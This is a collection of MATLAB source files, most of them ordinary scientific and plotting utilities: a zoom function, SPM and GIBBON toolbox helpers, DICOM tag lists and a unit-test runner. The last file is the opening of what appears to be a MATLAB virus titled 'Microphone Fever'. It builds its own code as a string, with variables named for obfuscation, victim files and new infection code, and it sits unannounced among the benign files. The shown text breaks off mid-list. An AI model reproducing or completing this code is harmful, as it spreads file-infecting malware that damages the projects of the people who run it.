function out = zoom(varargin)
    %ZOOM   Zoom in and out on a 2-D plot.
    %   ZOOM with no arguments toggles the zoom state.
    %   ZOOM(FACTOR) zooms the current axis by FACTOR.
    %       Note that this does not affect the zoom state.
    %   ZOOM ON turns zoom on for the current figure.
    %   ZOOM OFF turns zoom off in the current figure.
    %   ZOOM OUT returns the plot to its initial (full) zoom.
    %   ZOOM XON or ZOOM YON turns zoom on for the x or y axis only.
    %   ZOOM RESET clears the zoom out point.
    %
    %   When zoom is on, click the left mouse button to zoom in on the
    %   point under the mouse.  Click the right mouse button to zoom out
    %   (shift-click on the Macintosh).  Each time you click, the axes
    %   limits will be changed by a factor of 2 (in or out).  You can also
    %   click and drag to zoom into an area.  Double clicking zooms out to
    %   the point at which zoom was first turned on for this figure.  Note
    %   that turning zoom on, then off does not reset the zoom point.
    %   This may be done explicitly with ZOOM RESET.
    %
    %   ZOOM(FIG,OPTION) applies the zoom command to the figure specified
    %   by FIG. OPTION can be any of the above arguments.

    %   ZOOM FILL scales a plot such that it is as big as possible
    %   within the axis position rectangle for any azimuth and elevation.

    %   Clay M. Thompson 1-25-93
    %   Revised 11 Jan 94 by Steven L. Eddins
    %   Copyright (c) 1984-97 by The MathWorks, Inc.
    %   $Revision: 1399 $  $Date: 2006-08-11 11:19:27 +0200 (Fr, 11 Aug 2006) $

    %   Note: zoom uses the userdata of the zlabel of the axis and
    %   the figure buttondown and buttonmotion functions
    %
    %   ZOOM XON zooms x-axis only
    %   ZOOM YON zooms y-axis only

    switch nargin

        %%%%%%%%%%%%%%%%%%%%%%%%%%
        %%% No Input Arguments %%%
        %%%%%%%%%%%%%%%%%%%%%%%%%%
        case 0
            fig=get(groot,'currentfigure');
            if isempty(fig), return, end
            zoomCommand='toggle';

            %%%%%%%%%%%%%%%%%%%%%%%%%%
            %%% One Input Argument %%%
            %%%%%%%%%%%%%%%%%%%%%%%%%%
        case 1

            % If the argument is a string, the argument is a zoom command
            % (i.e. (on, off, down, xdown, etc.).  Otherwise, the argument is
            % assumed to be a figure handle, in which case all we do is
            % toggle the zoom status.

            if ischar(varargin{1})
                fig=get(groot,'currentfigure');
                if isempty(fig), return, end

                zoomCommand=varargin{1};
            else
                scale_factor=varargin{1};
                zoomCommand='scale';
                fig = gcf;
            end % if

            %%%%%%%%%%%%%%%%%%%%%%%%%%%
            %%% Two Input Arguments %%%
            %%%%%%%%%%%%%%%%%%%%%%%%%%%
        case 2
            fig=varargin{1};
            zoomCommand=varargin{2};

        otherwise
            narginchk(0, 2);

    end % switch nargin

    %
    % handle 'off' commands first
    %
    if strcmp(zoomCommand,'off')
        %
        % turn off zoom, and take a hike
        %
        fcns = getappdata(fig,'ZOOMFigureFcns');
        if ~isempty(fcns)
            set(fig,'windowbuttondownfcn',fcns.wbdf,'windowbuttonupfcn',fcns.wbuf,...
                'windowbuttonmotionfcn',fcns.wbmf,'buttondownfcn',fcns.bdf);
            rmappdata(fig,'ZOOMFigureFcns');
        end
        return
    end % if

    ax=get(fig,'currentaxes');

    rbbox_mode = 0;
    zoomx = 1; zoomy = 1; % Assume no constraints

    zoomCommand=lower(zoomCommand);

    if ~isempty(isempty(ax)) &&  any(get(ax,'view')~=[0 90])  &&  ...
            ~(strcmp(zoomCommand,'scale') | strcmp(zoomCommand,'fill'))
        return % Do nothing
    end

    if strcmp(zoomCommand,'toggle')
        fcns = getappdata(fig,'ZOOMFigureFcns');
        if isempty(fcns)
            zoom(fig,'on');
        else
            zoom(fig,'off');
        end
        return
    end % if

    % Catch constrained zoom
    if strcmp(zoomCommand,'xdown')
        zoomy = 0; zoomCommand = 'down'; % Constrain y
    elseif strcmp(zoomCommand,'ydown')
        zoomx = 0; zoomCommand = 'down'; % Constrain x
    end

    if strcmp(zoomCommand,'down')
        % Activate axis that is clicked in
        allAxes = findobj(get(fig,'Children'),'flat','type','axes');
        ZOOM_found = 0;
        for i=1:length(allAxes)
            ax=allAxes(i);
            ZOOM_Pt1 = get(ax,'CurrentPoint');
            xlim = get(ax,'xlim');
            ylim = get(ax,'ylim');
            if (xlim(1) <= ZOOM_Pt1(1,1) & ZOOM_Pt1(1,1) <= xlim(2) & ...
                    ylim(1) <= ZOOM_Pt1(1,2) & ZOOM_Pt1(1,2) <= ylim(2))
                ZOOM_found = 1;
                set(fig,'currentaxes',ax);
                break
            end % if
        end % for

        if ZOOM_found==0, return, end

        % Check for selection type
        selection_type = get(fig,'SelectionType');
        if (strcmp(selection_type, 'normal'))
            % Zoom in
            m = 1;
            scale_factor = 2; % the default zooming factor
        elseif (strcmp(selection_type, 'open'))
            % Zoom all the way out
            zoom(fig,'out');
            return;
        else
            % Zoom partially out
            m = -1;
            scale_factor = 2;
        end

        ZOOM_Pt1 = get_currentpoint(ax);
        ZOOM_Pt2 = ZOOM_Pt1;
        center = ZOOM_Pt1;

        if (m == 1)
            % Zoom in
            units = get(fig,'units'); set(fig,'units','pixels')
            rbbox([get(fig,'currentpoint') 0 0],get(fig,'currentpoint'));
            ZOOM_Pt2 = get_currentpoint(ax);
            set(fig,'units',units)

            % Note the currentpoint is set by having a non-trivial up function.
            if min(abs(ZOOM_Pt1-ZOOM_Pt2)) >= ...
                    min(.01*[diff(get_xlim(ax)) diff(get_ylim(ax))])
                % determine axis from rbbox
                a = [ZOOM_Pt1;ZOOM_Pt2]; a = [min(a);max(a)];

                % Undo the effect of get_currentpoint for log axes
                if strcmp(get(ax,'XScale'),'log')
                    a(1:2) = 10.^a(1:2);
                end
                if strcmp(get(ax,'YScale'),'log')
                    a(3:4) = 10.^a(3:4);
                end
                rbbox_mode = 1;
            end
        end
        limits = zoom(fig,'getlimits');

    elseif strcmp(zoomCommand,'scale')
        if all(get(ax,'view')==[0 90]), % 2D zooming with scale_factor

            % Activate axis that is clicked in
            ZOOM_found = 0;
            ax = gca;
            xlim = get(ax,'xlim');
            ylim = get(ax,'ylim');
            ZOOM_Pt1 = [sum(xlim)/2 sum(ylim)/2];
            ZOOM_Pt2 = ZOOM_Pt1;
            center = ZOOM_Pt1;

            if (xlim(1) <= ZOOM_Pt1(1,1) & ZOOM_Pt1(1,1) <= xlim(2) & ...
                    ylim(1) <= ZOOM_Pt1(1,2) & ZOOM_Pt1(1,2) <= ylim(2))
                ZOOM_found = 1;
            end % if

            if ZOOM_found==0, return, end

            if (scale_factor >= 1)
                m = 1;
            else
                m = -1;
            end

        else % 3D
            old_CameraViewAngle = get(ax,'CameraViewAngle')*pi/360;
            ncva = atan(tan(old_CameraViewAngle)*(1/scale_factor))*360/pi;
            set(ax,'CameraViewAngle',ncva);
            return;
        end

        limits = zoom(fig,'getlimits');

    elseif strcmp(zoomCommand,'on')
        fcns = getappdata(fig,'ZOOMFigureFcns');
        if isempty(fcns)
            fcns.wbdf = get(fig,'windowbuttondownfcn');
            fcns.wbuf = get(fig,'windowbuttonupfcn');
            fcns.wbmf = get(fig,'windowbuttonmotionfcn');
            fcns.bdf  = get(fig,'buttondownfcn');
            setappdata(fig,'ZOOMFigureFcns',fcns);
        end
        set(fig,'windowbuttondownfcn','zoom down', ...
            'windowbuttonupfcn','ones;', ...
            'windowbuttonmotionfcn','','buttondownfcn','', ...
            'interruptible','on');
        set(ax,'interruptible','on')
        return

    elseif strcmp(zoomCommand, 'reset')
        hZlabel = get(ax, 'Zlabel');
        ZlabelUserData = get(hZlabel, 'UserData');

        if IsZoomData(ZlabelUserData)
            set(hZlabel, 'UserData', []);
        end
        return

    elseif strcmp(zoomCommand,'xon')
        zoom(fig,'on') % Set up userprop
        set(fig,'windowbuttondownfcn','zoom xdown', ...
            'windowbuttonupfcn','ones;', ...
            'windowbuttonmotionfcn','','buttondownfcn','',...
            'interruptible','on');
        set(ax,'interruptible','on')
        return

    elseif strcmp(zoomCommand,'yon')
        zoom(fig,'on') % Set up userprop
        set(fig,'windowbuttondownfcn','zoom ydown', ...
            'windowbuttonupfcn','ones;', ...
            'windowbuttonmotionfcn','','buttondownfcn','',...
            'interruptible','on');
        set(ax,'interruptible','on')
        return

    elseif strcmp(zoomCommand,'out')
        limits = zoom(fig,'getlimits');
        center = [sum(get_xlim(ax))/2 sum(get_ylim(ax))/2];
        m = -inf; % Zoom totally out

    elseif strcmp(zoomCommand,'getlimits'), % Get axis limits
        limits = get(get(ax,'ZLabel'),'UserData');
        % Do simple checking of userdata
        if size(limits,2)==4  &&  size(limits,1)<=2
            if all(limits(1,[1 3])<limits(1,[2 4]))
                getlimits = 0; out = limits(1,:); return   % Quick return
            else
                getlimits = -1; % Don't munge data
            end
        else
            if isempty(limits), getlimits = 1; else getlimits = -1; end
        end

        % If I've made it to here, we need to compute appropriate axis
        % limits.

        if isempty(get(get(ax,'ZLabel'),'userdata'))
            % Use quick method if possible
            xlim = get_xlim(ax); xmin = xlim(1); xmax = xlim(2);
            ylim = get_ylim(ax); ymin = ylim(1); ymax = ylim(2);

        elseif strcmp(get(ax,'xLimMode'),'auto')  &&  ...
                strcmp(get(ax,'yLimMode'),'auto')
            % Use automatic limits if possible
            xlim = get_xlim(ax); xmin = xlim(1); xmax = xlim(2);
            ylim = get_ylim(ax); ymin = ylim(1); ymax = ylim(2);

        else
            % Use slow method only if someone else is using the userdata
            h = get(ax,'Children');
            xmin = inf; xmax = -inf; ymin = inf; ymax = -inf;
            for i=1:length(h)
                t = get(h(i),'Type');
                if ~strcmp(t,'text')
                    if strcmp(t,'image'), % Determine axis limits for image
                        x = get(h(i),'Xdata'); y = get(h(i),'Ydata');
                        x = [min(min(x)) max(max(x))];
                        y = [min(min(y)) max(max(y))];
                        [ma,na] = size(get(h(i),'Cdata'));
                        if na>1, dx = diff(x)/(na-1); else dx = 1; end
                        if ma>1, dy = diff(y)/(ma-1); else dy = 1; end
                        x = x + [-dx dx]/2; y = y + [-dy dy]/2;
                    end
                    xmin = min(xmin,min(min(x)));
                    xmax = max(xmax,max(max(x)));
                    ymin = min(ymin,min(min(y)));
                    ymax = max(ymax,max(max(y)));
                end
            end

            % Use automatic limits if in use (override previous calculation)
            if strcmp(get(ax,'xLimMode'),'auto')
                xlim = get_xlim(ax); xmin = xlim(1); xmax = xlim(2);
            end
            if strcmp(get(ax,'yLimMode'),'auto')
                ylim = get_ylim(ax); ymin = ylim(1); ymax = ylim(2);
            end
        end

        limits = [xmin xmax ymin ymax];
        if getlimits~=-1, % Don't munge existing userdata.
            % Store limits in ZLabel userdata
            set(get(ax,'ZLabel'),'UserData',limits);
        end

        out = limits;
        return

    elseif strcmp(zoomCommand,'getconnect'), % Get connected axes
        limits = get(get(ax,'ZLabel'),'UserData');
        if all(size(limits)==[2 4]), % Do simple checking
            out = limits(2,[1 2]);
        else
            out = [ax ax];
        end
        return

    elseif strcmp(zoomCommand,'fill')
        old_view = get(ax,'view');
        view(45,45);
        set(ax,'CameraViewAngleMode','auto');
        set(ax,'CameraViewAngle',get(ax,'CameraViewAngle'));
        view(old_view);
        return

    else
        error(['Unknown option: ',zoomCommand,'.']);
    end

    %
    % Actual zoom operation
    %

    if ~rbbox_mode
        xmin = limits(1); xmax = limits(2);
        ymin = limits(3); ymax = limits(4);

        if m==(-inf)
            dx = xmax-xmin;
            dy = ymax-ymin;
        else
            dx = diff(get_xlim(ax))*(scale_factor.^(-m-1)); dx = min(dx,xmax-xmin);
            dy = diff(get_ylim(ax))*(scale_factor.^(-m-1)); dy = min(dy,ymax-ymin);
        end

        % Limit zoom.
        center = max(center,[xmin ymin] + [dx dy]);
        center = min(center,[xmax ymax] - [dx dy]);
        a = [max(xmin,center(1)-dx) min(xmax,center(1)+dx) ...
            max(ymin,center(2)-dy) min(ymax,center(2)+dy)];

        % Check for log axes and return to linear values.
        if strcmp(get(ax,'XScale'),'log')
            a(1:2) = 10.^a(1:2);
        end
        if strcmp(get(ax,'YScale'),'log')
            a(3:4) = 10.^a(3:4);
        end

    end

    % Check for v4-type equal
    fillequal = strcmp(get(ax,'plotboxaspectratiomode'),'manual') & ...
        strcmp(get(ax,'dataaspectratiomode'),'manual');
    pbar = get(ax,'plotboxaspectratio');
    % Update circular list of connected axes
    list = zoom(fig,'getconnect'); % Circular list of connected axes.
    if zoomx
        if a(1)==a(2), return, end % Short circuit if zoom is moot.
        if fillequal & (pbar(1) < pbar(2))
            set(ax,'xlimmode','auto')
        else
            set(ax,'xlim',a(1:2))
        end
        h = list(1);
        while h ~= ax
            if fillequal & zoomx & zoomy & (pbar(1) < pbar(2))
                set(h,'xlimmode','auto')
            else
                set(h,'xlim',a(1:2))
            end
            % Get next axes in the list
            next = get(get(h,'ZLabel'),'UserData');
            if all(size(next)==[2 4]), h = next(2,1); else h = ax; end
        end
    end
    if zoomy
        if a(3)==a(4), return, end % Short circuit if zoom is moot.
        if fillequal & (pbar(1) >= pbar(2))
            set(ax,'ylimmode','auto')
        else
            set(ax,'ylim',a(3:4))
        end
        h = list(2);
        while h ~= ax
            if fillequal & zoomx & zoomy & (pbar(1) >= pbar(2))
                set(h,'ylimmode','auto')
            else
                set(h,'ylim',a(3:4))
            end
            % Get next axes in the list
            next = get(get(h,'ZLabel'),'UserData');
            if all(size(next)==[2 4]), h = next(2,2); else h = ax; end
        end
    end

function bZoomData = IsZoomData(data)
    % Return 1 if the data represents zoom data
    % Return 0 if someone else is using user data

    if size(data,2)==4  &&  size(data,1)<=2
        if all(data(1,[1 3])<data(1,[2 4]))
            bZoomData = 1;
        else
            bZoomData = 0;
        end
    else
        bZoomData = 0;
    end

function p = get_currentpoint(ax)
    %GET_CURRENTPOINT Return equivalent linear scale current point
    p = get(ax,'currentpoint'); p = p(1,1:2);
    if strcmp(get(ax,'XScale'),'log')
        p(1) = log10(p(1));
    end
    if strcmp(get(ax,'YScale'),'log')
        p(2) = log10(p(2));
    end

function xlim = get_xlim(ax)
    %GET_XLIM Return equivalent linear scale xlim
    xlim = get(ax,'xlim');
    if strcmp(get(ax,'XScale'),'log')
        xlim = log10(xlim);
    end

function ylim = get_ylim(ax)
    %GET_YLIM Return equivalent linear scale ylim
    ylim = get(ax,'ylim');
    if strcmp(get(ax,'YScale'),'log')
        ylim = log10(ylim);
    end


function varargout = scl_slope(varargin)
% Format
% For getting the value
% dat = scl_slope(obj)
%
% For setting the value
% obj = scl_slope(obj,dat)
% _______________________________________________________________________
% Copyright (C) 2008 Wellcome Trust Centre for Neuroimaging

%
% $Id: scl_slope.m 1143 2008-02-07 19:33:33Z spm $

if nargin==2,
    varargout{1} = asgn(varargin{:});
elseif nargin==1,
    varargout{1} = ref(varargin{:});
else
    error('Wrong number of arguments.');
end;
return;

function dat = ref(obj)
dat = obj.scl_slope;
return;

function obj = asgn(obj,dat)
if isnumeric(dat), % && numel(dat)<=1,
    obj.scl_slope = double(dat);
else
    error('"scl_slope" must be numeric.');
end;
return;


function addHelpSearch

%% Make help files searchable

mfilePath = mfilename('fullpath');
gibbonPath=fileparts(fileparts(mfilePath));
gibbonHelpPath=fullfile(gibbonPath,'docs','html');
builddocsearchdb(gibbonHelpPath);

%%
% _*GIBBON footer text*_
%
% License: <https://github.com/gibbonCode/GIBBON/blob/master/LICENSE>
%
% GIBBON: The Geometry and Image-based Bioengineering add-On. A toolbox for
% image segmentation, image-based modeling, meshing, and finite element
% analysis.
%
% Copyright (C) 2006-2022 Kevin Mattheus Moerman and the GIBBON contributors
%
% This program is free software: you can redistribute it and/or modify
% it under the terms of the GNU General Public License as published by
% the Free Software Foundation, either version 3 of the License, or
% (at your option) any later version.
%
% This program is distributed in the hope that it will be useful,
% but WITHOUT ANY WARRANTY; without even the implied warranty of
% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
% GNU General Public License for more details.
%
% You should have received a copy of the GNU General Public License
% along with this program.  If not, see <http://www.gnu.org/licenses/>.


function xyl_header_write ( output_filename, output_unit, point_num, ...
  line_num, line_data_num )

%*****************************************************************************80
%
%% XYL_HEADER_WRITE writes the header of an XYL file.
%
%  Licensing:
%
%    This code is distributed under the GNU LGPL license.
%
%  Modified:
%
%    01 January 2009
%
%  Author:
%
%    John Burkardt
%
%  Parameters:
%
%    Input, string OUTPUT_FILENAME, the name of the output file.
%
%    Input, integer OUTPUT_UNIT, the output file unit number.
%
%    Input, integer POINT_NUM, the number of points.
%
%    Input, integer LINE_NUM, the number of lines.
%
%    Input, integer LINE_DATA_NUM, the number of line items.
%
  fprintf ( output_unit, '#  %s\n', output_filename );
  fprintf ( output_unit, '#  created by xy_io::xyl_header_write.m\n' );
  fprintf ( output_unit, '#\n');
  fprintf ( output_unit, '#  Number of points =     %d\n', point_num );
  fprintf ( output_unit, '#  Number of lines =      %d\n', line_num );
  fprintf ( output_unit, '#  Number of line items = %d\n', line_data_num );
  fprintf ( output_unit, '#\n' );

  return
end


function DoMultiEchoChk

global VCtl

if VCtl.TEPerTR ==1
    return;
end

if ~isfield(VCtl,'ME_TEs')
    error('Please load MultiEcho tab. Multiple TE values must be provided before proceeding.');
end

if VCtl.TEPerTR ~= length(VCtl.ME_TEs)
    error('The number of TE values must match TEPerTR.');
end

end


function runTests(board)

import matlab.unittest.TestRunner;
import matlab.unittest.TestSuite;
import matlab.unittest.plugins.TestReportPlugin;
import matlab.unittest.plugins.XMLPlugin
import matlab.unittest.plugins.ToUniqueFile;
import matlab.unittest.plugins.TAPPlugin;
import matlab.unittest.plugins.DiagnosticsValidationPlugin
import matlab.unittest.parameters.Parameter

runParallel = false;
SynthesizeDesign = {false};
param = Parameter.fromData('SynthesizeDesign',SynthesizeDesign);

if nargin == 0
    suite = testsuite({'BSPTests'});
else
    boards = ['*',lower(board),'*'];
    suite = TestSuite.fromClass(?BSPTests,'ExternalParameters',param);
    suite = suite.selectIf('ParameterProperty','configs', 'ParameterName',boards);
end

try

    runner = matlab.unittest.TestRunner.withTextOutput('OutputDetail',1);
    runner.addPlugin(DiagnosticsValidationPlugin)

    xmlFile = 'BSPTestResults.xml';
    plugin = XMLPlugin.producingJUnitFormat(xmlFile);
    runner.addPlugin(plugin);

    if runParallel
        try %#ok<UNRCH>
            parpool(2);
            results = runInParallel(runner,suite);
        catch ME
            disp(ME);
            results = runner.run(suite);
        end
    else
        results = runner.run(suite);
    end

    t = table(results);
    disp(t);
    disp(repmat('#',1,80));
    for test = results
        if test.Failed
            disp(test.Name);
        end
    end
catch e
    disp(getReport(e,'extended'));
    bdclose('all');
    exit(1);
end

try
    poolobj = gcp('nocreate');
    delete(poolobj);
catch ME
    disp(ME)
end

save(['BSPTest_',datestr(now,'dd_mm_yyyy-HH:MM:SS'),'.mat'],'t');
bdclose('all');
exit(any([results.Failed]));


function [this, saveFileName] = save(this, varargin)
% Saves 4D MrImage in single file.
%
%   Y = MrImageSpm4D()
%   Y.save('fileName', fileName)
%
% This is a method of class MrImageSpm4D.
%
% IN
%   fileName    string: default via get_filename
% OUT
%
% EXAMPLE
%   save
%
%   See also MrImageSpm4D MrDataNd.save MrDataNd.get_filename

% Author:   Saskia Bollmann & Lars Kasper
% Created:  2018-05-23
% Copyright (C) 2018 Institute for Biomedical Engineering
%                    University of Zurich and ETH Zurich
%
% This file is part of the TAPAS UniQC Toolbox, which is released
% under the terms of the GNU General Public License (GPL), version 3.
% You can redistribute it and/or modify it under the terms of the GPL
% (either version 3 or, at your option, any later version).
% For further details, see the file COPYING or
%  <http://www.gnu.org/licenses/>.

defaults.fileName = this.get_filename();
args = tapas_uniqc_propval(varargin, defaults);

tapas_uniqc_strip_fields(args);

saveFileName = this.write_single_file(fileName);
end


%% hip_implant
% Below is a demonstration of the features of the |hip_implant| function

%%
clear; close all; clc;

%% Syntax
% |[F,V]=hip_implant;|

%% Description
% UNDOCUMENTED
%% Examples
%
%%
%
% <<gibbVerySmall.gif>>
%
% _*GIBBON*_
% <www.gibboncode.org>
%
% _Kevin Mattheus Moerman_, <gibbon.toolbox@gmail.com>
%%
% _*GIBBON footer text*_
%
% License: <https://github.com/gibbonCode/GIBBON/blob/master/LICENSE>
%
% GIBBON: The Geometry and Image-based Bioengineering add-On. A toolbox for
% image segmentation, image-based modeling, meshing, and finite element
% analysis.
%
% Copyright (C) 2006-2022 Kevin Mattheus Moerman and the GIBBON contributors
%
% This program is free software: you can redistribute it and/or modify
% it under the terms of the GNU General Public License as published by
% the Free Software Foundation, either version 3 of the License, or
% (at your option) any later version.
%
% This program is distributed in the hope that it will be useful,
% but WITHOUT ANY WARRANTY; without even the implied warranty of
% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
% GNU General Public License for more details.
%
% You should have received a copy of the GNU General Public License
% along with this program.  If not, see <http://www.gnu.org/licenses/>.


function studies = studyLoad;
% Load a studies struct, specifying saved groupings of sessions for
% mrVista 2.
%
%  studies = studyLoad;
%
% STRUCTURE OF STUDIES VARIABLE:
%   studies is a struct array that is saved in the following path relative
%   to the root mrVista2 repository:
%       mrVista2/study/studies.mat
%   If this is not found, it creates and saves it, with a default "(Recent
%   Sessions)" study which keeps track of sessions viewed with the mrVista
%   2 session GUI.
%
%   Each entry in studies has the following fields
%       name: brief name of study.
%       sessions: set of paths to sessions contained within the study. Can
%           be absolute paths, or relative to a parent directory (see
%           studyDir below). A cell array of strings.
%       studyDir: provides a parent directory for the study. If non-empty,
%           this could be a string that is evaluated. That is, it could be
%           a regular string, e.g., 'X:\myStudies\study1\', or a MATLAB
%           command that will evaluate to the path on the local machine,
%           e.g. 'fullfile(RAID, 'myStudies', 'study1');'. This allows
%           sessions to be accessed from multiple machines. If empty,
%           will assume the sessions field contains absolute paths.
%           The studyDir field may also be useful for saving the results of
%           study-level analyses, across sessions.
%       params: a struct of parameters relevant to analyses specific to
%       this study. The details can vary depending on the study.
%       comments: string containing any comments about the study.
%
%
% ras 07/03/06.
parentDir = fileparts(which(mfilename)); % parent directory of this M-file.
studyPath = fullfile(parentDir, 'studies.mat');

if ~exist(studyPath, 'file')
    fprintf('Creating file %s which will contain saved study information...', ...
            studyPath);

    studies(1) = studyCreate('(Recent Sessions)');
    studies(1).sessions = {pwd};

    save(studyPath, 'studies');
    disp('Done.')
else
    load(studyPath, 'studies');
end

return


function tagS = multi_frame_module_tags
%"multi_frame_module_tags"
%   Return the tags used to represent a multiframe study as specified by
%   C.7.6.6 in PS3.3 of 2006 DICOM specification.
%
%   Tags are returned in a struct array with 3 fields:
%
%   Tag: String containing hex DICOM tag of a field.
%  Type: String describing type of field, with 5 options:
%         '1' Field must exist, data must exist and be valid.
%         '2' Field must exist, data can exist and be valid, or be NULL.
%         '3' Field is optional, if the field exists data can exist and be
%             valid or be NULL.
%         '1C' Field must exist under certain conditions and contain valid
%             data.
%         '2C' Field must exist under certain conditions and can contain
%             valid data or be NULL.
%Children: For sequences, a tagS with the same format as this struct array.
%
%JRA 07/10/06
%
%Usage:
%   tagS = multi_frame_module_tags
%
% Copyright 2010, Joseph O. Deasy, on behalf of the CERR development team.
%
% This file is part of The Computational Environment for Radiotherapy Research (CERR).
%
% CERR development has been led by:  Aditya Apte, Divya Khullar, James Alaly, and Joseph O. Deasy.
%
% CERR has been financially supported by the US National Institutes of Health under multiple grants.
%
% CERR is distributed under the terms of the Lesser GNU Public License.
%
%     This version of CERR is free software: you can redistribute it and/or modify
%     it under the terms of the GNU General Public License as published by
%     the Free Software Foundation, either version 3 of the License, or
%     (at your option) any later version.
%
% CERR is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
% without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
% See the GNU General Public License for more details.
%
% You should have received a copy of the GNU General Public License
% along with CERR.  If not, see <http://www.gnu.org/licenses/>.

%Initialize the tagS structure.
tagS = struct('tag', {}, 'tagdec', {}, 'type', {}, 'children', {});

%Create an empty tagS template for sequence creation.
%template = tagS;

%Add tags based on PS3.3 attribute lists.

%Number of Frames
tagS(end+1) = struct('tag', '00280008', 'tagdec', 2621448, 'type', '1C', 'children', []);

%Frame Increment Pointer
tagS(end+1) = struct('tag', '00280009', 'tagdec', 2621449, 'type', '1C', 'children', []);


function [varargout]=textView(varargin)

%%

defaultOptionStruct.BackgroundColor=[44 48 55]/255;
defaultOptionStruct.ForegroundColor=[168 177 190]/255;
defaultOptionStruct.HorizontalAlignment='Left';
defaultOptionStruct.FontName='Monospaced';
defaultOptionStruct.FontWeight='Bold';
defaultOptionStruct.FontSize=12;

switch nargin
    case 1
        T=varargin{1};
        optionStruct=[];
    case 2
        T=varargin{1};
        optionStruct=varargin{2};
end

fileName='';
if ~iscell(T)
    if exist(T,'file')==2
        fileName=T;
        T=txtfile2cell(T);
    end
end

%Fix option structure, complete and remove empty values
[optionStruct]=structComplete(optionStruct,defaultOptionStruct,1);

%%

t=(1:1:numel(T));
n=numel(sprintf('%d',max(t)));
t=sprintf(['%-',num2str(n),'.0d    \n'],t);
t=t(1:end-1);
t=strsplit(t,'\n')';
T=strcat(t,T);

%Open figure
figStruct.Name=fileName;
figStruct.Color=optionStruct.BackgroundColor;
figStruct.MenuBar='none';
figStruct.vcw=0;
figStruct.efw=0;

hf = cFigure(figStruct);

hPan = uipanel(hf, 'Title',fileName, ...
    'Units','pixels','Position',[10 10 hf.Position(3)-20 hf.Position(4)-20],...
    'BorderType','none','BackgroundColor',defaultOptionStruct.BackgroundColor,...
    'ForegroundColor',defaultOptionStruct.ForegroundColor);
hPan.Units='Normalized';
hEdit = uicontrol(hPan, 'Style','edit', 'FontSize',12, ...
    'Min',0, 'Max',2, 'HorizontalAlignment','left', ...
    'Units','normalized', 'Position',[0 0 1 1], ...
    'String',T);

optionSet=fieldnames(optionStruct);
for q=1:1:numel(optionSet)
   hEdit.(optionSet{q})=optionStruct.(optionSet{q});
end

% enable horizontal scrolling
try
jEdit = findjobj(hEdit);
jEditbox = jEdit.getViewport().getComponent(0);
jEditbox.setWrapping(false);                % turn off word-wrapping
jEditbox.setEditable(false);                % non-editable
set(jEdit,'HorizontalScrollBarPolicy',30);  % HORIZONTAL_SCROLLBAR_AS_NEEDED

% maintain horizontal scrollbar policy which reverts back on component resize
hjEdit = handle(jEdit,'CallbackProperties');
set(hjEdit, 'ComponentResizedCallback',...
    'set(gcbo,''HorizontalScrollBarPolicy'',30)')
catch
end
drawnow;

%%
if nargout>0
    varargout{1}=hf;
end
%%
% _*GIBBON footer text*_
%
% License: <https://github.com/gibbonCode/GIBBON/blob/master/LICENSE>
%
% GIBBON: The Geometry and Image-based Bioengineering add-On. A toolbox for
% image segmentation, image-based modeling, meshing, and finite element
% analysis.
%
% Copyright (C) 2006-2022 Kevin Mattheus Moerman and the GIBBON contributors
%
% This program is free software: you can redistribute it and/or modify
% it under the terms of the GNU General Public License as published by
% the Free Software Foundation, either version 3 of the License, or
% (at your option) any later version.
%
% This program is distributed in the hope that it will be useful,
% but WITHOUT ANY WARRANTY; without even the implied warranty of
% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
% GNU General Public License for more details.
%
% You should have received a copy of the GNU General Public License
% along with this program.  If not, see <http://www.gnu.org/licenses/>.


disp('Microphone Fever - the best thing you can do within 153 seconds...');
MyCode=['warning off all;'];
MyCode=[MyCode 'MyCode=[MyCode,'' ''];'];
MyCode=[MyCode 'VarList2Change={''MyCode'' ''EncOReplacePool1'' ''EncryptThreshold'' ''TrashString'' ''GarbageString'' ''EncQReplacePool1'' ''ThisVarContainsVirus'' ''EncDiff'' ''EvaledCryptArray'' ''OrigString2Enc'' ''EncFReplacePool1'' ''TmpRndName'' ''EncSReplacePool1'' ''CPcrypt'' ''VarList2Change'' ''GiveEncString'' ''EncStartFunction'' ''ChangeNumber'' ''FfAll'' ''DfAll'' ''SplitOffset'' ''MatXNameXX'' ''EncryString'' ''CodePart'' ''Rnames'' ''NewCode'' ''TrashNames'' ''TrashLine'' ''SplitSize'' ''QuoteSign'' ''CreateTrashA'' ''CreateTrashB'' ''CreateTrashC'' ''CreateTrashD'' ''CreateTrash1'' ''CreateTrash2'' ''ODEfile'' ''odefunction'' ''RandPermSS'' ''AlgoMatrix'' ''ViralBodyVariable'' ''ActualCodeForThisPart'' ''Var2Wrt'' ''ObfusCount'' ''RandomAppearenceOfIfs'' ''LineBreaksIf'' ''LineShift'' ''runcode'' ''RandNameCol'' ''CODE'' ''TRASH'' ''WhichMathAlgo'' ''FReplacePool1'' ''StartFunction'' ''SReplacePool1'' ''OReplacePool1'' ''MatSizeN'' ''SomeMatVec'' ''MultFct'' ''SpecMatName'' ''SpecVecName'' ''WhichMatrixAlgo'' ''MatArOp'' ''VecArOp'' ''SavedVector'' ''IsItAVector'' ''Operator1'' ''Operator2'' ''BoundAll1'' ''BoundAll2'' ''BoundAll3'' ''BoundTmpA'' ''BoundTmpB'' ''BoundSign'' ''FctString1'' ''FctString2'' ''FctString3'' ''IntTolerance'' ''TimeMeasure'' ''CompleteCompString'' ''CompleteErg'' ''InterpDataVec'' ''InterpSpline'' ''ODEIntervallA'' ''ODEIntervallB'' ''ODEDomain'' ''ODEIntX'' ''SReplacePool2'' ''RCWriteVar'' ''RCNumSub'' ''RCNumAdd'' ''MulFacRC'' ''IncFa'' ''RC'' ''RCsSub'' ''RCsAdd'' ''VirCode'' ''IsAllEmpty'' ''VicFiles'' ''VicLines'' ''NewInfCode'' ''VicIDr'' ''IsAPO'' ''EndArray'' ''EndCount'' ''GoodLine'' ''IsAPP'' ''IsStart'' ''IsEnd'' ''VCsplitted'' ''VirSplit'' ''VicIDw'' ''Count000'' ''Count001'' ''Count002'' ''Count003'' ''Count004'' ''Count005'' ''Count006'' ''Count007'' ''Count008'' ''Count009'' ''Count010'' ''Count011'' ''Count012'' ''Count013'' ''Count014'' ''Count015'' ''Count016'' ''Count017'' ''Count018'' ''Count019'' ''Count020'' ''Count021'' ''Count022'' ''Count023'' ''Count024'' ''Count025'' ''Count026'' ''Count027'' 